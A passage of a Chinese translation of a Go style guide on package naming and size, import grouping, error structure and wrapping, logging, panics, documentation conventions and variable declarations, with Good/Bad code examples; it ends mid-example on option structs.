Go包在包声明中指定了一个名称，与导入路径分开。包的名称比路径更重要，因为它的可读性。\nGo包的名字应该与包所提供的内容相关。仅仅将一个包命名为util、helper、common或类似的名字通常是一个糟糕的选择（不过可以作为名字的一部分）。没有信息的名字会使代码更难阅读，而且如果使用的范围太广，很可能会造成不必要的导入冲突。\n相反，要考虑到调用时会是什么样子。\n// Good: db := spannertest.NewDatabaseFromFile(...) _, err := f.Seek(0, io.SeekStart) b := elliptic.Marshal(curve, x, y) 即使不知道导入列表（cloud.google.com/go/spanner/spannertest、io和crypto/elliptic），你也能大致知道这些包的作用。如果没那么关注命名，这些名字可能是：\n// Bad: db := test.NewDatabaseFromFile(...) _, err := f.Seek(0, common.SeekStart) b := helper.Marshal(curve, x, y) 包大小 如果你在问自己，你的Go包应该有多大，是把相关的类型放在同一个包里，还是把它们分成不同的包，那么关于包名的Go博文就是一个好的开始。尽管帖子的标题是这样的，但它并不只是关于命名的。它包含一些有用的提示，并引用了一些有用的文章和讲座。\n下面是一些其他的考量和说明。\n用户在一个页面中看到包的godoc，由包提供的类型导出的任何方法都按其类型分组。Godoc还将构造函数与它们返回的类型一起分组。如果客户端代码有可能需要两个不同类型的值来相互作用，那么把它们放在同一个包里可能会给用户带来方便。\n包内的代码可以访问包内未导出的标识符。如果你有几个相关的类型，它们的实现是紧密耦合的，把它们放在同一个包里可以让你实现这种耦合，而不用用这些细节污染公共API。\n综上所述，把你的整个项目放在一个包里，很可能会使这个包变得太大。当一个东西在概念上是不同的，将它自己放入一个单独的小包中可以使它更容易使用。客户端知道的包的短名称与导出的类型名称一起工作，构成一个有意义的标识符：例如bytes.Buffer，ring.New。这篇博文中有更多的例子。\n在文件大小方面，Go表现得很灵活，因为维护者可以将包内的代码从一个文件移到另一个文件，而不影响调用者。但作为一般准则：通常情况下，一个文件有几千行，或者有许多小文件，都不是一个好主意。Go没有像其他一些语言那样的“一个类型，一个文件”的惯例。作为一个经验法则，文件应该足够内聚，以便维护者可以知道哪个文件包含了什么东西，而且文件应该足够小，以便一旦有了它，就很容易找到。标准库经常将大型包分割成几个源文件，将相关的代码按文件分组。包byte的源文件就是一个很好的例子。具有较长包文档的包可以选择一个名为doc.go的专门文件来放置包文档，该文件中仅有包的文档和包的声明，而没有其他内容，但这并不是必须的。\n在Google代码库和使用Bazel的项目中，Go代码的目录布局与开源Go项目不同：你可以在一个目录中拥有多个go_library目标。如果你期望在未来将你的项目开源，那么给每个包提供自己的目录是一个很好的理由。\n另见：\n- 测试替身包\n导入 Protos和Stub 由于其跨语言的特性，Proto库导入的处理方式与标准Go导入不同。重命名proto导入的惯例是基于生成包的规则。\npb后缀一般用于go_proto_library规则。 后缀grpc一般用于go_grpc_library规则。 一般来说，会使用一个或两个字母的短前缀。\n// Good: import ( fspb \u0026quot;path/to/package/foo_service_go_proto\u0026quot; fsgrpc \u0026quot;path/to/package/foo_service_go_grpc\u0026quot; ) 如果一个包只使用一个proto，或者该包与该proto紧密相连，那么前缀可以省略。\nimport ( pb \u0026quot;path/to/package/foo_service_go_proto\u0026quot; grpc \u0026quot;path/to/package/foo_service_go_grpc\u0026quot; ) 如果proto中的符号是通用的，或者不是很好的自描述，或者用首字母缩写来缩短包的名称是不明确的，那么一个简短的词就可以作为前缀。\n// Good: import ( mapspb \u0026quot;path/to/package/maps_go_proto\u0026quot; ) 在这种情况下，如果有关的代码没有明确与maps相关，那么mapspb.Address可能比mpb.Address更清晰。\n导入顺序 包导入通常分为以下两个（或更多）块，按顺序是。\n标准库导入（例如，”fmt”）。 普通项目导入（例如，”/path/to/somelib”）。 (可选）Protobuf导入（例如，fpb “path/to/foo_go_proto”）。 (可选) 副作用导入（例如，_ “path/to/package”）。 如果一个文件没有上述可选的导入类别，相关的导入就会被包含在项目导入组中。\n任何清晰易懂的导入分组一般都是可以的。例如，一个团队可以选择将gRPC导入与protobuf导入分开分组。\n注意: 对于只维护两个强制组的代码 (一个用于标准库， 一个用于所有其他导入的组)， goimports工具产生的输出与这个指南一致。 然而， goimports并不了解强制性组以外的组； 可选的组很容易被这个工具所忽略。当使用可选的组别时，代码作者和审查人都需要注意，以确保组别的一致性。 两种方法都可以，但不要让import部分处于不一致的、部分分组的状态。 错误处理 在Go中，错误是值；它们由代码产生，也由代码消费。错误可以：\n转化为诊断信息，显示给人类 由维护者使用 由终端用户解释 错误信息也显示在各种不同的表面上，包括日志信息、错误转储和渲染的UI。\n处理（产生或消耗）错误的代码应该小心翼翼。忽略或盲目地传播错误的返回值可能是很诱人的。然而，我们总是应该考虑的是，函数调用栈中的当前函数是否是最适合处理该错误的那一个。这是一个很大的话题，很难给出明确的建议。使用你的判断，但要记住以下的考量。\n当创建一个错误值时，决定是否给它任何结构。 当处理一个错误时，考虑添加你所拥有的、但调用者和/或被调用者可能没有的信息。 也请看关于错误记录的指导。 虽然忽略一个错误通常是不合适的，但一个合理的例外是当编排相关操作时，通常只有第一个错误是有用的。包errgroup为一组操作提供了一个方便的抽象，这些操作都可以作为一个组失败或被取消。\n另见：\nEffective Go中关于error的部分 Go博客关于错误的文章 package errors upspin.io/errors包 GoTip #89: 何时使用规范的状态代码作为错误代码 GoTip #48：哨兵错误值 GoTip #13: 设计用于检查的错误 错误结构 如果调用者需要查询错误（例如，区分不同的错误条件），那么给出错误值结构，这样就可以通过编程完成查询，而不是让调用者进行字符串匹配。这个建议适用于生产代码，也适用于关心不同错误条件的测试代码。\n最简单的结构化的错误是无参数的全局值。\ntype Animal string var ( // ErrDuplicate occurs if this animal has already been seen. ErrDuplicate = errors.New(\u0026quot;duplicate\u0026quot;) // ErrMarsupial occurs because we're allergic to marsupials outside Australia. // Sorry. ErrMarsupial = errors.New(\u0026quot;marsupials are not supported\u0026quot;) ) func pet(animal Animal) error { switch { case seen[animal]: return ErrDuplicate case marsupial(animal): return ErrMarsupial } seen[animal] = true // ... return nil } 调用者可以简单地将函数返回的错误值与已知的错误值之一进行比较。\n// Good: func handlePet(...) { switch err := process(an); err { case ErrDuplicate: return fmt.Errorf(\u0026quot;feed %q: %v\u0026quot;, an, err) case ErrMarsupial: // Try to recover with a friend instead. alternate = an.BackupAnimal() return handlePet(..., alternate, ...) } } 上面使用了哨兵值，错误必须等于（在==的意义上）预期值。这在许多情况下是完全足够的。如果process函数返回包装后的错误值（在下面讨论），你可以使用errors.Is。\n// Good: func handlePet(...) { switch err := process(an); { case errors.Is(err, ErrDuplicate): return fmt.Errorf(\u0026quot;feed %q: %v\u0026quot;, an, err) case errors.Is(err, ErrMarsupial): // ... } } 不要试图根据字符串的形式来区分错误。(参见Go Tip #13：为检查而设计错误）。\n// Bad: func handlePet(...) { err := process(an) if regexp.MatchString(`duplicate`, err.Error()) {...} if regexp.MatchString(`marsupial`, err.Error()) {...} } 如果在错误中存在调用者需要的额外信息，最好是以结构化方式呈现。例如，os.PathError类型将失败操作的路径名放在调用者可以轻松访问的结构体字段中。\n其他的错误结构可以酌情使用，例如一个包含错误代码和细节字符串的项目结构体。status包是一种常见的封装方式；如果你选择这种方式（你没有义务这样做），请使用codes。参见Go Tip #89。何时使用规范的状态代码作为错误，以了解使用状态代码是否是正确的选择。\n给错误添加信息 任何返回错误的函数都应该努力使错误值变得有用。通常情况下，该函数处于一个调用链的中间，并且只是在传播它所调用的其他函数的错误（甚至可能来自另一个包）。这里有机会用额外的信息来注解错误，但程序员应该确保错误中有足够的信息，而不添加重复的或不相关的细节。如果你不确定，可以尝试在开发过程中触发错误条件：这是一个很好的方法来评估错误的观察者（无论是人类还是代码）最终会得到什么。\n符合惯例的良好的文档是有帮助的。例如，标准包os宣传其错误包含路径信息，当它可用时。这是一种有用的风格，因为得到错误的调用者不需要用他们已经提供了失败的函数的信息来注释它。\n// Good: if err := os.Open(\u0026quot;settings.txt\u0026quot;); err != nil { return err } // Output: // // open settings.txt: no such file or directory 如果对错误的含义有什么有趣的说法，当然可以加入。只要考虑调用链的哪一层最适合理解这个含义。\n// Good: if err := os.Open(\u0026quot;settings.txt\u0026quot;); err != nil { // We convey the significance of this error to us. Note that the current // function might perform more than one file operation that can fail, so // these annotations can also serve to disambiguate to the caller what went // wrong. return fmt.Errorf(\u0026quot;launch codes unavailable: %v\u0026quot;, err) } // Output: // // launch codes unavailable: open settings.txt: no such file or directory 与这里的冗余信息形成鲜明对比:\n// Bad: if err := os.Open(\u0026quot;settings.txt\u0026quot;); err != nil { return fmt.Errorf(\u0026quot;could not open settings.txt: %w\u0026quot;, err) } // Output: // // could not open settings.txt: open settings.txt: no such file or directory 当向一个传播的错误添加信息时，你可以包装该错误或提出一个新的错误。用fmt.Errorf中的%w动词包装错误，允许调用者访问原始错误中的数据。这在某些时候是非常有用的，但在其他情况下，这些细节对调用者来说是误导或不感兴趣的。更多信息请参见关于错误包装的博文。包装错误也会以一种不明显的方式扩展你的包的API界面，如果你改变了你的包的实现细节，这可能会导致破坏。\n最好避免使用%w，除非你也记录（并有测试来验证）你所暴露的底层错误。如果你不希望你的调用者调用 errors.Unwrap, errors.Is 等等，就不要使用%w。\n同样的概念适用于像*status.Status这样的结构化错误（见codes）。例如，如果你的服务器向后端发送不合法的请求，并收到一个InvalidArgument错误码，这个错误码不应该被传播到客户端，假设客户端没有做错。相反，向客户端返回一个内部的规范的code。\n然而，注解错误有助于自动日志系统保留错误的状态有效载荷。例如，在一个内部函数中注释错误是合适的。\n// Good: func (s *Server) internalFunction(ctx context.Context) error { // ... if err != nil { return fmt.Errorf(\u0026quot;couldn't find remote file: %w\u0026quot;, err) } } 直接位于系统边界的代码（通常是RPC、IPC、存储和类似的）应该使用规范的错误空间报告错误。这里的代码有责任处理特定领域的错误，并以规范的方式表示它们。比如说。\n// Bad: func (*FortuneTeller) SuggestFortune(context.Context, *pb.SuggestionRequest) (*pb.SuggestionResponse, error) { // ... if err != nil { return nil, fmt.Errorf(\u0026quot;couldn't find remote file: %w\u0026quot;, err) } } // Good: import ( \u0026quot;google.golang.org/grpc/codes\u0026quot; \u0026quot;google.golang.org/grpc/status\u0026quot; ) func (*FortuneTeller) SuggestFortune(context.Context, *pb.SuggestionRequest) (*pb.SuggestionResponse, error) { // ... if err != nil { // Or use fmt.Errorf with the %w verb if deliberately wrapping an // error which the caller is meant to unwrap. return nil, status.Errorf(codes.Internal, \u0026quot;couldn't find fortune database\u0026quot;, status.ErrInternal) } } 在错误中放置%w 倾向于将%w放在错误字符串的末尾。\n错误可以用%w动词来包装，或者把它们放在一个实现了Unwrap() error的结构化错误中（例如：fs.PathError）。\n被包装的错误形成错误链：每一层新的包装都会在错误链的前面增加一个新的条目。错误链可以用Unwrap() error进行遍历。比如说。\nerr1 := fmt.Errorf(\u0026quot;err1\u0026quot;) err2 := fmt.Errorf(\u0026quot;err2: %w\u0026quot;, err1) err3 := fmt.Errorf(\u0026quot;err3: %w\u0026quot;, err2) 这就形成了一个错误链的形式。\nflowchart LR err3 == err3 wraps err2 ==\u0026gt; err2; err2 == err2 wraps err1 ==\u0026gt; err1; 无论%w动词放在哪里，返回的错误总是代表错误链的前面，而%w是下一个子节点。类似地，Unwrap() error 总是从最新的错误到最旧的错误来遍历错误链。\n然而，%w动词的位置会影响错误链是从最新到最旧，从最旧到最新，还是两者都不影响。\n// Good: err1 := fmt.Errorf(\u0026quot;err1\u0026quot;) err2 := fmt.Errorf(\u0026quot;err2: %w\u0026quot;, err1) err3 := fmt.Errorf(\u0026quot;err3: %w\u0026quot;, err2) fmt.Println(err3) // err3: err2: err1 // err3 is a newest-to-oldest error chain, that prints newest-to-oldest. // Bad: err1 := fmt.Errorf(\u0026quot;err1\u0026quot;) err2 := fmt.Errorf(\u0026quot;%w: err2\u0026quot;, err1) err3 := fmt.Errorf(\u0026quot;%w: err3\u0026quot;, err2) fmt.Println(err3) // err1: err2: err3 // err3 is a newest-to-oldest error chain, that prints oldest-to-newest. // Bad: err1 := fmt.Errorf(\u0026quot;err1\u0026quot;) err2 := fmt.Errorf(\u0026quot;err2-1 %w err2-2\u0026quot;, err1) err3 := fmt.Errorf(\u0026quot;err3-1 %w err3-2\u0026quot;, err2) fmt.Println(err3) // err3-1 err2-1 err1 err2-2 err3-2 // err3 is a newest-to-oldest error chain, that neither prints newest-to-oldest // nor oldest-to-newest. 因此，为了使错误文本反映错误链结构，最好将%w动词放在最后，形式为[\u0026hellip;]：%w。\n日志中输出错误 函数有时需要告诉外部系统一个错误，而不是把它传播给其调用者。在这里，日志是一个明显的选择；但要注意记录错误的内容和方式。\n就像好的测试失败信息一样，日志信息应该清楚地表达出错的原因，并通过包括相关信息来帮助维护者诊断问题。 避免重复。如果你返回一个错误，通常最好不要自己记录，而是让调用者处理。调用者可以选择记录错误，也可以用rate.Sometimes限制记录的速度。其他选择包括尝试恢复，甚至停止程序。在任何情况下，让调用者控制有助于避免记录“垃圾”日志。 然而，这种方法的缺点是，任何日志都是用调用者的行号记录的。\n对PII要小心。许多日志输出地并不是敏感的终端用户信息的合适目的地。\n尽量少使用log.Error。ERROR级别的日志会导致刷新，并且比较低的日志级别更昂贵。这可能会对你的代码产生严重的性能影响。当决定错误和警告级别时，考虑最佳实践，即错误级别的信息应该是可操作的，而不是比警告”更严重”。\n在谷歌内部，我们有监控系统，可以设置更有效的警报，而不是写到日志文件，希望有人注意到它。这与标准库包expvar类似，但不完全相同。\n自定义日志级别 使用冗长的日志（log.V）对你有利。冗长的日志对于开发和追踪是很有用的。建立一个围绕着log级别的约定是有帮助的。比如说。\n在V(1)写少量的额外信息 在V(2)中追踪更多信息 在V(3)中输出大量的内部状态 为了最大限度地减少冗长日志的成本，你应该确保即使在log.V关闭的情况下也不要意外地调用昂贵的函数。log.V提供了两个API。更方便的那个带有这种意外开销的风险。当有疑问时，请使用稍显冗长的风格。\n// Good: for _, sql := range queries { log.V(1).Infof(\u0026quot;Handling %v\u0026quot;, sql) if log.V(2) { log.Infof(\u0026quot;Handling %v\u0026quot;, sql.Explain()) } sql.Run(...) } // Bad: // sql.Explain called even when this log is not printed. log.V(2).Infof(\u0026quot;Handling %v\u0026quot;, sql.Explain()) 程序初始化 程序初始化错误（如错误的标志和配置）应该向上传播到main，main应该调用log.Exit，并解释如何修复错误。在这些情况下，一般不应使用log.Fatal，因为指向检查的堆栈跟踪不可能像人为生成的、可操作的消息那样有用。\n程序检查和panic 正如在反对panic的决定中所说，标准错误处理应该围绕错误返回值进行结构化。库应该倾向于向调用者返回错误，而不是中止程序，特别是对于暂时错误。\n偶尔有必要对一个不变量进行一致性检查，如果违反了这个不变量，就终止程序。一般来说，只有当不变量检查失败意味着内部状态已经无法恢复时，才会这样做。在谷歌代码库中，最可靠的方法是调用log.Fatal。在这些情况下使用panic是不可靠的，因为defer函数有可能会出现死锁或进一步破坏内部或外部状态。\n同样地，要抵制恢复panic以避免崩溃的诱惑，因为这样做可能会导致传播损坏的状态。你离panic越远，你对程序的状态就越不了解，它可能持有锁或其他资源。然后，程序可以发展出其他意想不到的故障模式，使问题更加难以诊断。与其试图在代码中处理意外的panic，不如使用监控工具来浮现出意外的故障，并以高优先级修复相关的错误。\n注意：标准的net/http服务器违反了这个建议，从请求处理程序中恢复panic。有经验的Go工程师们的共识是，这是一个历史性的错误。如果你对其他语言的应用服务器的日志进行取样，通常会发现有大量的堆栈轨迹没有被处理。在你的服务器中避免这种陷阱。\n何时用panic 标准库对API的误用会报panic。例如，在许多情况下，如果一个值的访问方式表明它被误解了，reflect就会报panic。这类似于对核心语言错误的panic，如访问一个超出边界的切片元素。代码审查和测试应该发现这样的错误，这些错误预计不会出现在生产代码中。这些panic作为不依赖库的不变性检查，因为标准库不能访问谷歌代码库使用的分级日志包。\n另一种情况是，虽然不常见，但panics可以作为一个包的内部实现细节，在调用链中始终有一个匹配的recover。解析器和类似的深度嵌套、紧密耦合的内部函数组可以从这种设计中受益，若使用管道错误返回会增加复杂性而且没有价值。这种设计的关键属性是，这些panic永远不允许跨越包的边界，不构成包的API的一部分。这通常是通过一个顶层的deferred recover来实现的，它将传播的panic转化为公共API表面的返回错误。\n当编译器无法识别不可到达的代码时，例如使用像log.Fatal这样不会返回的函数时，也会使用Panic。\n// Good: func answer(i int) string { switch i { case 42: return \u0026quot;yup\u0026quot; case 54: return \u0026quot;base 13, huh\u0026quot; default: log.Fatalf(\u0026quot;Sorry, %d is not the answer.\u0026quot;, i) panic(\u0026quot;unreachable\u0026quot;) } } 在命令行标志被解析之前，不要调用日志函数。如果你必须在init func中退出程序，可以用panic来代替日志调用。\n文档 惯例 这一部分是对决定文档的注释部分的补充。\n以熟悉的风格记录的Go代码比那些错误记录或根本没有记录的代码更容易阅读，更不容易被误用。可运行的例子显示在Godoc和代码搜索中，这是解释如何使用你的代码的绝佳方式。\n参数和配置 不是每个参数都必须在文档中列举出来。这适用于\n函数和方法参数 结构体字段 选项(option)的API 将易出错或不明显的字段和参数记录下来，说说它们为什么有趣。\n在下面的片段中，突出显示的注释对读者来说没有增加什么有用的信息。\n// Bad: // Sprintf formats according to a format specifier and returns the resulting // string. // // format is the format, and data is the interpolation data. func Sprintf(format string, data ...interface{}) string 然而，这个片段展示了一个与之前类似的代码场景，其中的注释反而说明了一些非显而易见或对读者有实质性帮助的东西。\n// Good: // Sprintf formats according to a format specifier and returns the resulting // string. // // The provided data is used to interpolate the format string. If the data does // not match the expected format verbs or the amount of data does not satisfy // the format specification, the function will inline warnings about formatting // errors into the output string as described by the Format errors section // above. func Sprintf(format string, data ...interface{}) string 在选择文档的内容和深度时，要考虑到你可能的受众。维护者、新加入团队的人、外部用户，甚至是六个月后的你，可能会感激这些与你第一次来写文档时的想法略有不同的信息。\n也请参见：\n– GoTip #41: 识别函数调用参数\n– GoTip #51: 配置的模式\nContext 这意味着一个上下文参数的取消操作会中断提供给它的函数。如果该函数可以返回一个错误，惯例上是ctx.Err()。\n这个事实不需要重述。\n// Bad: // Run executes the worker's run loop. // // The method will process work until the context is cancelled and accordingly // returns an error. func (Worker) Run(ctx context.Context) error 因为这句话是隐含的，所以下面的说法更好。\n// Good: // Run executes the worker's run loop. func (Worker) Run(ctx context.Context) error 如果上下文行为是不同的或不明显的，应该明确地记录下来。\n如果函数在取消上下文时返回ctx.Err()以外的错误。\n// Good: // Run executes the worker\u0026rsquo;s run loop. // // If the context is cancelled, Run returns a nil error. func (Worker) Run(ctx context.Context) error\n如果该函数有其他机制，可能会中断它或影响寿命。\n// Good: // Run executes the worker\u0026rsquo;s run loop. // // Run processes work until the context is cancelled or Stop is called. // Context cancellation is handled asynchronously internally: run may return // before all work has stopped. The Stop method is synchronous and waits // until all operations from the run loop finish. Use Stop for graceful // shutdown. func (Worker) Run(ctx context.Context) error\nfunc (Worker) Stop()\n如果该函数对上下文的寿命、脉络或附加值有特殊期望。\n// Good: // NewReceiver starts receiving messages sent to the specified queue. // The context should not have a deadline. func NewReceiver(ctx context.Context) *Receiver\n// Principal returns a human-readable name of the party who made the call. // The context must have a value attached to it from security.NewContext. func Principal(ctx context.Context) (name string, ok bool)\n警告：避免设计对调用者提出这种要求（比如上下文没有截止日期）的API。以上只是一个例子，说明在无法避免的情况下该如何记录，而不是对该模式的认可。\n并发 Go用户认为概念上的只读操作对于并发使用是安全的，不需要额外的同步。\n在这个Godoc中，关于并发性的额外说明可以安全地删除。\n// Len returns the number of bytes of the unread portion of the buffer; // b.Len() == len(b.Bytes()). // // It is safe to be called concurrently by multiple goroutines. func (*Buffer) Len() int 然而，修改操作并不被认为对并发使用是安全的，需要用户考虑同步化。\n同样地，这里可以安全地删除关于并发的额外注释。\n// Grow grows the buffer's capacity. // // It is not safe to be called concurrently by multiple goroutines. func (*Buffer) Grow(n int) 强烈鼓励在以下情况下提供文档：\n目前还不清楚该操作是只读的还是包含修改的。\n// Good: package lrucache\n// Lookup returns the data associated with the key from the cache. // // This operation is not safe for concurrent use. func (*Cache) Lookup(key string) (data []byte, ok bool)\n为什么？在查找key的时候，缓存命中会在内部改变一个LRU缓存。这一点是如何实现的，对所有读者来说可能并不明显。\n同步是由API提供的\n// Good: package fortune_go_proto\n// NewFortuneTellerClient returns an *rpc.Client for the FortuneTeller service. // It is safe for simultaneous use by multiple goroutines. func NewFortuneTellerClient(cc *rpc.ClientConn) *FortuneTellerClient\n为什么？Stubby提供了同步特性。\n注意：如果API是一个类型，并且API完整地提供了同步性，惯例上只有类型定义记录了语义。\n该API消费用户实现的接口类型，并且该接口的消费者有特殊的并发性要求。\n// Good: package health\n// A Watcher reports the health of some entity (usually a backen service). // // Watcher methods are safe for simultaneous use by multiple goroutines. type Watcher interface { // Watch sends true on the passed-in channel when the Watcher\u0026rsquo;s // status has changed. Watch(changed chan\u0026lt;- bool) (unwatch func())\n// Health returns nil if the entity being watched is healthy, or a // non-nil error explaining why the entity is not healthy. Health() error }\n为什么？一个API是否能被多个goroutines安全使用是其契约的一部分。\n清理 记录API的任何明确的清理要求。否则，调用者不会正确使用API，会导致资源泄漏和其他可能的错误。\n调出由调用者决定的清理工作。\n// Good: // NewTicker returns a new Ticker containing a channel that will send the // current time on the channel after each tick. // // Call Stop to release the Ticker's associated resources when done. func NewTicker(d Duration) *Ticker func (*Ticker) Stop() 如果有可能不清楚如何清理资源，请解释如何清理。\n// Good: // Get issues a GET to the specified URL. // // When err is nil, resp always contains a non-nil resp.Body. // Caller should close resp.Body when done reading from it. // // resp, err := http.Get(\u0026quot;http://example.com/\u0026quot;) // if err != nil { // // handle error // } // defer resp.Body.Close() // body, err := io.ReadAll(resp.Body) func (c *Client) Get(url string) (resp *Response, err error) 预览 Go的特点是有一个文档服务器。建议在代码审查前和审查过程中都要预览你的代码产生的文档。这有助于验证godoc的格式是否会正确呈现。\nGodoc格式化 Godoc提供了一些特定的语法来格式化文档。\n段落之间需要有一个空行。\n// Good: // LoadConfig reads a configuration out of the named file. // // See some/shortlink for config file format details.\n测试文件可以包含可运行的例子，这些例子会出现在godoc中相应的文档后面。\n// Good: func ExampleConfig_WriteTo() { cfg := \u0026amp;Config{ Name: \u0026ldquo;example\u0026rdquo;, } if err := cfg.WriteTo(os.Stdout); err != nil { log.Exitf(\u0026ldquo;Failed to write config: %s\u0026rdquo;, err) } // Output: // { // \u0026ldquo;name\u0026rdquo;: \u0026ldquo;example\u0026rdquo; // } }\n缩进行加上两个空格，就可以将它们逐字排开。\n// Good: // Update runs the function in an atomic transaction. // // This is typically used with an anonymous TransactionFunc: // // if err := db.Update(func(state *State) { state.Foo = bar }); err != nil { // //\u0026hellip; // }\n然而，请注意，把代码放在可运行的例子中，而不是把它放在注释中，往往会更合适。\n这种逐字格式化可以用于非godoc原生的格式化，如列表和表格。\n// Good: // LoadConfig reads a configuration out of the named file. // // LoadConfig treats the following keys in special ways: // \u0026quot;import\u0026quot; will make this configuration inherit from the named file. // \u0026quot;env\u0026quot; if present will be populated with the system environment. 一行以大写字母开始，除括号和逗号外不含标点符号，后面是另一个段落，这样的行将被格式化为标题。\n// Good: // The following line is formatted as a heading. // // Using headings // // Headings come with autogenerated anchor tags for easy linking.\n信号增强 有时，一行代码看起来很普通很常见，但实际上不是。这方面最好的例子之一是err == nil检查（因为err != nil更常见）。下面的两个条件检查很难区分。\n// Good: if err := doSomething(); err != nil { // ... } // Bad: if err := doSomething(); err == nil { // ... } 你可以通过添加注释来“增强信号”：\n// Good: if err := doSomething(); err == nil { // if NO error // ... } 该只是提示请注意条件的不同。\n变量声明 初始化 为了保持一致性，在用非零值初始化一个新的变量时，首选:=而不是var。\n// Good: i := 42 // Bad: var i = 42 非指针零值 下面的声明使用了零值：\n// Good: var ( coords Point magic [4]byte primes []int ) 当你想表达一个空值，准备以后使用时，你应该使用零值来声明。使用显式初始化的复合字面值可能会很笨重。\n// Bad: var ( coords = Point{X: 0, Y: 0} magic = [4]byte{0, 0, 0, 0} primes = []int(nil) ) 零值声明的一个常见应用是当使用一个变量作为反序列化的输出时：\n// Good: var coords Point if err := json.Unmarshal(data, \u0026amp;coords); err != nil { 如果你需要一个锁或其他不能复制的结构体字段时，你可以把它变成一个值类类型，以利用零值初始化的优势。这确实意味着，现在必须通过指针而不是值来传递包含的类型。该类型的方法必须采取指针类型接收器。\n// Good: type Counter struct { // This field does not have to be \u0026quot;*sync.Mutex\u0026quot;. However, // users must now pass *Counter objects between themselves, not Counter. mu sync.Mutex data map[string]int64 } // Note this must be a pointer receiver to prevent copying. func (c *Counter) IncrementBy(name string, n int64) 对复合类型（如结构体和数组）的局部变量使用值类型是可以接受的，即使它们包含这种不可复制的字段。然而，如果复合类型是由函数返回的，或者如果对它的所有访问最终都需要取一个地址，那么最好一开始就把变量声明为指针类型。同样地，protobufs也应该被声明为指针类型。\n// Good: func NewCounter(name string) *Counter { c := new(Counter) // \u0026quot;\u0026amp;Counter{}\u0026quot; is also fine. registerCounter(name, c) return c } var myMsg = new(pb.Bar) // or \u0026quot;\u0026amp;pb.Bar{}\u0026quot;. 这是因为*pb.Something实现了proto.Message，而pb.Something没有：\n// Bad: func NewCounter(name string) *Counter { var c Counter registerCounter(name, \u0026amp;c) return \u0026amp;c } var myMsg = pb.Bar{} 重要：map类型在修改之前必须被显式初始化。但是针对零值map变量进行读操作是可以的。\n对于map和slice类型，如果代码对性能特别敏感，并且你事先知道尺寸，请看尺寸提示部分。\n复合字面值 下面是一些复合字面值的声明：\n// Good: var ( coords = Point{X: x, Y: y} magic = [4]byte{'I', 'W', 'A', 'D'} primes = []int{2, 3, 5, 7, 11} captains = map[string]string{\u0026quot;Kirk\u0026quot;: \u0026quot;James Tiberius\u0026quot;, \u0026quot;Picard\u0026quot;: \u0026quot;Jean-Luc\u0026quot;} ) 当你知道初始元素或成员时，你应该使用复合字面值来声明一个值。\n相反，与零值初始化相比，使用复合字面值来声明空值或无成员的值在视觉上会有太多噪声。\n当你需要一个指向零值的指针时，你有两个选择：空复合字面值和new。两者都很好，但是new关键字可以提醒读者，如果需要一个非零值，复合字面值就不能用。\n// Good: var ( buf = new(bytes.Buffer) // non-empty Buffers are initialized with constructors. msg = new(pb.Message) // non-empty proto messages are initialized with builders or by setting fields one by one. ) 尺寸提示 以下是利用尺寸提示的声明，以便预先分配容量。\n// Good: var ( // Preferred buffer size for target filesystem: st_blksize. buf = make([]byte, 131072) // Typically process up to 8-10 elements per run (16 is a safe assumption). q = make([]Node, 0, 16) // Each shard processes shardSize (typically 32000+) elements. seen = make(map[string]bool, shardSize) ) 尺寸提示和预分配是重要的步骤，当与代码及其集成的经验分析相结合时，可以创建对性能敏感和资源高效的代码。\n大多数代码不需要大小提示或预分配，可以允许运行时根据需要自动扩展切片或map。当最终大小已知时，预分配是可以接受的（例如，在map和切片之间转换时），但这不是可读性的要求，而且在小规模情况下可能不值得这样做。\n警告：预先分配比你需要的更多的内存会浪费内存，甚至损害性能。如有疑问，请参阅GoTip #3: Benchmarking Go Code，默认零值初始化或复合字面值声明。\nchannel方向 尽可能指明channel方向。\n// Good: // sum computes the sum of all of the values. It reads from the channel until // the channel is closed. func sum(values \u0026lt;-chan int) int { // ... } 这可以防止在没有规范的情况下可能出现的随意编程错误。\n// Bad: func sum(values chan int) (out int) { for v := range values { out += v } // values must already be closed for this code to be reachable, which means // a second close triggers a panic. close(values) } 当方向被指定时，编译器会捕捉到像这样的简单错误。它还有助于向类型传达一种所有权的措施。\n也请看Bryan Mills的演讲 “重新思考经典的并发模式”：幻灯片和视频。\n函数参数列表 不要让一个函数的签名变得太长。当一个函数中的参数越多，单个参数的作用就越不明确，同一类型的相邻参数就越容易混淆。有大量参数的函数不容易被记住，在调用的时候也更难读懂。\n在设计API时，可以考虑将一个签名越来越复杂的高可配函数分割成几个更简单的函数。如果有必要，这些函数可以共享一个（未导出的）实现。\n当一个函数需要许多输入时，可以考虑为一些参数引入一个功能选项结构，或者采用更高级的variadic选项技术。选择哪种策略的主要考虑因素应该是函数调用在所有预期的使用情况下看起来如何。\n下面的建议主要适用于导出的API，它的标准比未导出的API要高。这些技术对于你的用例可能是不必要的。使用你的判断，并平衡清晰性和最小机制的原则。\n也请参见：Go技巧#24：使用特定案例的结构\n功能选项结构 功能选项结构是一种结构体类型，它汇集了一个函数或方法的部分或全部参数，然后作为最后一个参数传递给该函数或方法。(只有在导出的函数中使用该结构时，才应该导出该结构)。\n使用选项结构有很多好处：\n结构体字面值包括每个参数的字段和值，这使得它们可以自我记录，并且更难被交换。 不相关的或”默认”的字段可以被省略。 调用者可以共享选项结构，并编写帮助程序对其进行操作。 与函数参数相比，结构体提供了更清晰的每个字段的文档。 选项结构可以随着时间的推移而增长，而不会影响到存量的函数调用。 下面是一个可以改进的函数的例子。\n// Bad: func EnableReplication(ctx context.Context, config *replicator.Config, primaryRegions, readonlyRegions []string, replicateExisting, overwritePolicies bool, replicationInterval time.Duration, copyWorkers int, healthWatcher health.Watcher) { // ... } 上面的函数可以用一个选项结构重写如下：\n// Good: type ReplicationOptions struct { Config *replicator.Config PrimaryRegions []string ReadonlyRegions []string ReplicateExisting bool OverwritePolicies bool ReplicationInterval time.Duration CopyWorkers int HealthWatcher health.Watcher } func EnableReplication(ctx context.Context, opts ReplicationOptions) { // ... } 然后，该函数可以在不同的包中被调用：\n// Good: func foo(ctx context.Context) { // Complex call: storage.EnableReplication(ctx, storage.ReplicationOptions{ Config: config, PrimaryRegions: []string{\u0026quot;us-east1\u0026quot;, \u0026quot;us-central2\u0026quot;, \u0026quot;us-west3\u0026quot;}, ReadonlyRegions: []string{\u0026quot;us-east5\u0026quot;, \u0026quot;us-central6\u0026quot;}, OverwritePolicies: true, ReplicationInterval: 1 * time.Hour, CopyWorkers: 100, HealthWatcher: watcher, }) // Simple call: storage.EnableReplication(ctx, storage.ReplicationOptions{ Config: config, PrimaryRegions: []string{\u0026quot;us-east1\u0026quot;, \u0026quot;us-central2\u0026quot;, 